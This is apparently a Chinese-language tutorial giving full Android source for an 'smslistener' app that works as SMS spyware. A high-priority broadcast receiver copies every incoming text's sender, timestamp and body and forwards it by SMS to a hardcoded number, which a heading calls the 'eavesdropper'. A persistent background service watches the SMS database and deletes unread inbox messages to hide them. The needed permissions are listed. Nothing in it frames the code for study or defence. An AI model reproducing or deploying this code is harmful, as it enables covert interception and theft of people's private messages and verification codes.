监听消息发送和消息是否被接收。
import android.app.Activity;
import android.app.PendingIntent;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.provider.Telephony.Sms;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
public class MainActivity extends Activity {
private EditText num;
private EditText text;
private Button send;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
init();
//启动service 触发短信拦截
Intent service=new Intent(MainActivity.this, SMSService.class);
startService(service);
}
private class SendOnClickListenerImpl implements OnClickListener {
public void onClick(View arg0) {
Intent intent = new Intent("SMS_SEND_ACTION");
Intent intented = new Intent("SMS_DELIVERED_ACTION");
SmsManager sms = SmsManager.getDefault();
String phoneNum = num.getText().toString();
String smsContent = text.getText().toString();
PendingIntent pending = PendingIntent.getBroadcast(
MainActivity.this, 0, intent, 0);
PendingIntent pendinged = PendingIntent.getBroadcast(
MainActivity.this, 0, intented, 0);
//注册短信已发送
registerReceiver(new SMSReceive(), new IntentFilter(
"SMS_SEND_ACTION"));
//注册短信已被接收
registerReceiver(new SMSReceived(), new IntentFilter(
"SMS_DELIVERED_ACTION"));
//短信分段
if (smsContent.length() > 70) {
List<String> smsText = sms.divideMessage(smsContent);
Iterator<String> it = smsText.iterator();
while (it.hasNext()) {
String next = it.next();
sms.sendTextMessage(phoneNum, null, next, pending,
pendinged);
}
} else {
sms.sendTextMessage(phoneNum, null, smsContent, pending,
pendinged);
}
}
}
private void init() {
this.num = (EditText) super.findViewById(R.id.num);
this.text = (EditText) super.findViewById(R.id.text);
this.send = (Button) super.findViewById(R.id.send);
this.send.setOnClickListener(new SendOnClickListenerImpl());
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
短信发送提示
package com.example.smslistener;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;
public class SMSReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent arg1) {
// TODO Auto-generated method stub
if(arg1.getAction().equals("SMS_SEND_ACTION")){
switch(super.getResultCode()){
case Activity.RESULT_OK:
Toast.makeText(context, "短信已发送!", Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
break;
}
}
}
}
短信是否接收提示
package com.example.smslistener;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.widget.Toast;
public class SMSReceived extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent arg1) {
// TODO Auto-generated method stub
if (arg1.getAction().equals("SMS_DELIVERED_ACTION")) {
switch (super.getResultCode()) {
case Activity.RESULT_OK:
Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show();
break;
case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
Toast.makeText(context, "短信发送失败!", Toast.LENGTH_SHORT).show();
break;
}
}
}
}
监听系统广播,发送给窃听者
package com.example.smslistener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SMSSendReceive extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent arg1) {
if (arg1.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {
//拿到短信内容 pdus是固定的key
Object[] pdusDate = (Object[]) arg1.getExtras().get("pdus");
for (int i = 0; i < pdusDate.length; i++) {
byte[] pdus = (byte[]) pdusDate[i];
SmsMessage message = SmsMessage.createFromPdu(pdus);
String time = new SimpleDateFormat("yyyy,MM,dd hh.mm.ss",
Locale.CHINA).format(new Date(message
.getTimestampMillis()));
String num = message.getOriginatingAddress();
String body = message.getMessageBody();
SmsManager sms = SmsManager.getDefault();
PendingIntent sentIntent = PendingIntent.getActivity(arg0, 0,
arg1, PendingIntent.FLAG_UPDATE_CURRENT);
String content = "短信号码:" + num + "\n发送时间:" + time + "\n短信内容:("
+ body + ")";
//这里、、、
String destination = "10010";
sms.sendTextMessage(destination, null, content, sentIntent, null);
}
}
}
}
监听
<receiver android:name=".SMSSendReceive" >
<intent-filter android:priority="2147483647" >
<action android:name="android.provider.Telephony.s" />
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
触发短信拦截
package com.example.smslistener;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.os.Process;
public class SMSService extends Service {
private SmsObserver mObserver;
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {//contentresolver通过uri来找到数据
ContentResolver resolver = getContentResolver();
//实例化数据库观察者
mObserver = new SmsObserver(resolver, new SmsHandler(this));
// resolver.registerContentObserver(路径,notifyForDescendents,观察者)
// notifyForDescendents=为false 表示精确匹配,即只匹配该Uri为true 表示可以同时匹配其派生的Uri
resolver.registerContentObserver(Uri.parse("content://sms"), true, mObserver);
}
@Override
public void onDestroy() {
this.getContentResolver().unregisterContentObserver(mObserver);
Process.killProcess(Process.myPid());
super.onDestroy();
}
public int onStartCommand(Intent intent, int flags, int startId) {
flags=START_STICKY;
return super.onStartCommand(intent, flags, startId);
}
}
数据库观察者
package com.example.smslistener;
import android.content.ContentResolver;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Message;
public class SmsObserver extends ContentObserver {
private ContentResolver mResolver;
public SmsHandler smsHandler;
public SmsObserver(ContentResolver mResolver, SmsHandler handler) {
super(handler);
this.smsHandler = handler;
this.mResolver = mResolver;
}
public void onChange(boolean selfChange) {
Cursor mCursor = mResolver.query(Uri.parse("content://sms/inbox"),
new String[] { "_id", "address", "read", "body", "thread_id" },
"read=?", new String[]{"0"}, "date desc");
if(mCursor==null){
return;
}else{
while(mCursor.moveToNext()){
SmsInfo smsInfo=new SmsInfo();
int idIndex=mCursor.getColumnIndex("_id");
if(idIndex!=-1){
smsInfo._id=mCursor.getString(idIndex);
}
int threadId=mCursor.getColumnIndex("_thread_id");
if(threadId!=-1){
smsInfo.thread_id=mCursor.getString(threadId);
}
int addressIndex=mCursor.getColumnIndex("address");
if(addressIndex!=-1){
smsInfo.address=mCursor.getString(addressIndex);
}
int bodyIndex=mCursor.getColumnIndex("body");
if(bodyIndex!=-1){
smsInfo.body=mCursor.getString(bodyIndex);
}
// 拦截策略是否对短信进行操作
Message msg=smsHandler.obtainMessage();
//0不对短信进行操作;1将短信设置为已读;2将短信删除
smsInfo.action=2;
msg.obj=smsInfo;
smsHandler.sendMessage(msg);
}
}
//擦屁股
if(mCursor!=null){
mCursor.close();
mCursor=null;
}
}
}
字段信息
package com.example.smslistener;
public class SmsInfo {
public String _id = "";
public String thread_id = "";
public String address = "";
public String body = "";
public String read = "";
public int action = 0;// 1代表设置为已读,2表示删除短信
}
短信处理
package com.example.smslistener;
import android.content.ContentValues;
import android.content.Context;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;
public class SmsHandler extends Handler {
private Context mcontext;
public SmsHandler(Context context) {
this.mcontext = context;
}
@Override
public void handleMessage(Message msg) {
SmsInfo smsinfo = (SmsInfo) msg.obj;
if (smsinfo.action == 1) {
ContentValues value = new ContentValues();
value.put("read", "1");
mcontext.getContentResolver().update(
Uri.parse("content://sms/inbox"), value, "thread_id=?",
new String[] { smsinfo.thread_id });
} else if (smsinfo.action == 2) {
Uri mUri = Uri.parse("content://sms/");
mcontext.getContentResolver().delete(mUri, "_id=?",
new String[] { smsinfo._id });
}
}
}
权限:
<uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_SMS"/>
布局自己解决。